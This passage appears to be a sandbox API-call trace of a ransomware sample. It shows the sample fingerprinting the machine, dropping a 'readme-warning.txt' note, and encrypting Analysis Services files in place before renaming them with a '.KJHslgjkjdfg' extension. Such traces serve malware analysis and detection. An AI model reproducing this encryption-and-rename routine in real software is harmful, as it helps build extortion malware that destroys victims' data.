CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.219] GetProcessHeap () returned 0x2a0000 [0153.219] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f8728 [0153.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0153.219] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f8728, pdwDataLen=0x290ee20 | out: pbData=0x2f8728, pdwDataLen=0x290ee20) returned 1 [0153.219] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.219] GetProcessHeap () returned 0x2a0000 [0153.219] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0153.220] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0153.220] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0153.220] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.220] GetProcessHeap () returned 0x2a0000 [0153.220] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1618 [0153.220] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0153.220] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1618, pdwDataLen=0x290ea00 | out: pbData=0x2c1618, pdwDataLen=0x290ea00) returned 1 [0153.220] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.220] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0153.220] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0153.220] RegCloseKey (hKey=0x118) returned 0x0 [0153.220] GetProcessHeap () returned 0x2a0000 [0153.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0153.220] GetProcessHeap () returned 0x2a0000 [0153.220] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0153.220] GetProcessHeap () returned 0x2a0000 [0153.220] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1618 [0153.221] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0153.221] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1618, pdwDataLen=0x290e7d4 | out: pbData=0x2c1618, pdwDataLen=0x290e7d4) returned 1 [0153.221] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.221] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0153.221] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0153.221] GetProcessHeap () returned 0x2a0000 [0153.221] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0153.221] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0153.221] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0153.221] GetProcessHeap () returned 0x2a0000 [0153.221] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f8af0 [0153.221] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\readme-warning.txt") returned 86 [0153.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\readme-warning.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0153.305] WriteFile (in: hFile=0x118, lpBuffer=0x2f8af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f8af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0153.306] CloseHandle (hObject=0x118) returned 1 [0153.307] GetProcessHeap () returned 0x2a0000 [0153.307] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8728 | out: hHeap=0x2a0000) returned 1 [0153.307] GetProcessHeap () returned 0x2a0000 [0153.307] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8af0 | out: hHeap=0x2a0000) returned 1 [0153.307] GetProcessHeap () returned 0x2a0000 [0153.307] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0153.307] GetProcessHeap () returned 0x2a0000 [0153.307] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.307] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0153.308] GetProcessHeap () returned 0x2a0000 [0153.308] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0153.308] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0153.308] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0153.308] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0153.308] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0153.308] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0153.308] GetProcessHeap () returned 0x2a0000 [0153.308] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x96) returned 0x2ed148 [0153.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0153.309] GetProcessHeap () returned 0x2a0000 [0153.309] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0153.309] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.309] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0153.309] GetProcessHeap () returned 0x2a0000 [0153.309] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x298) returned 0x2f32d0 [0153.309] GetProcessHeap () returned 0x2a0000 [0153.309] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa0) returned 0x2ed148 [0153.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0153.311] GetProcessHeap () returned 0x2a0000 [0153.311] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0153.311] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.311] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0153.311] GetProcessHeap () returned 0x2a0000 [0153.311] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a2) returned 0x2f9730 [0153.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0153.311] GetProcessHeap () returned 0x2a0000 [0153.311] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.312] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.312] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0153.312] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0153.315] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0153.315] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.315] GetProcessHeap () returned 0x2a0000 [0153.315] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.315] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0153.315] CryptDestroyKey (hKey=0x2c6420) returned 1 [0153.315] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0153.315] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0153.316] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0153.316] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0153.316] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0153.316] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0153.316] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0153.316] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.316] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.316] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa2b58, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0xa2b58, lpOverlapped=0x0) returned 1 [0153.342] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0xa2b60, dwBufLen=0xa2b60 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0xa2b60) returned 1 [0153.350] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.350] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0xa2b60, lpOverlapped=0x0) returned 1 [0153.353] CryptDestroyKey (hKey=0x2c6420) returned 1 [0153.353] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xa2c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.353] SetEndOfFile (hFile=0x13c) returned 1 [0153.357] GetProcessHeap () returned 0x2a0000 [0153.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.357] GetProcessHeap () returned 0x2a0000 [0153.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.357] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.kjhslgjkjdfg")) returned 1 [0153.358] CloseHandle (hObject=0x13c) returned 1 [0153.358] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0153.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0153.359] GetProcessHeap () returned 0x2a0000 [0153.359] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.359] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.359] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0153.359] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0153.379] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0153.379] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.379] GetProcessHeap () returned 0x2a0000 [0153.379] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.379] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0153.379] CryptDestroyKey (hKey=0x2c6420) returned 1 [0153.379] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0153.380] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0153.380] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0153.380] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0153.380] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0153.380] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0153.380] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0153.380] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.380] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.380] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3a18, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x3a18, lpOverlapped=0x0) returned 1 [0153.381] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x3a20) returned 1 [0153.382] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.382] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x3a20, lpOverlapped=0x0) returned 1 [0153.382] CryptDestroyKey (hKey=0x2c6420) returned 1 [0153.382] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x3af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.382] SetEndOfFile (hFile=0x13c) returned 1 [0153.385] GetProcessHeap () returned 0x2a0000 [0153.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.385] GetProcessHeap () returned 0x2a0000 [0153.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.kjhslgjkjdfg")) returned 1 [0153.386] CloseHandle (hObject=0x13c) returned 1 [0153.387] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0153.387] GetProcessHeap () returned 0x2a0000 [0153.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.387] CryptImportKey (in: 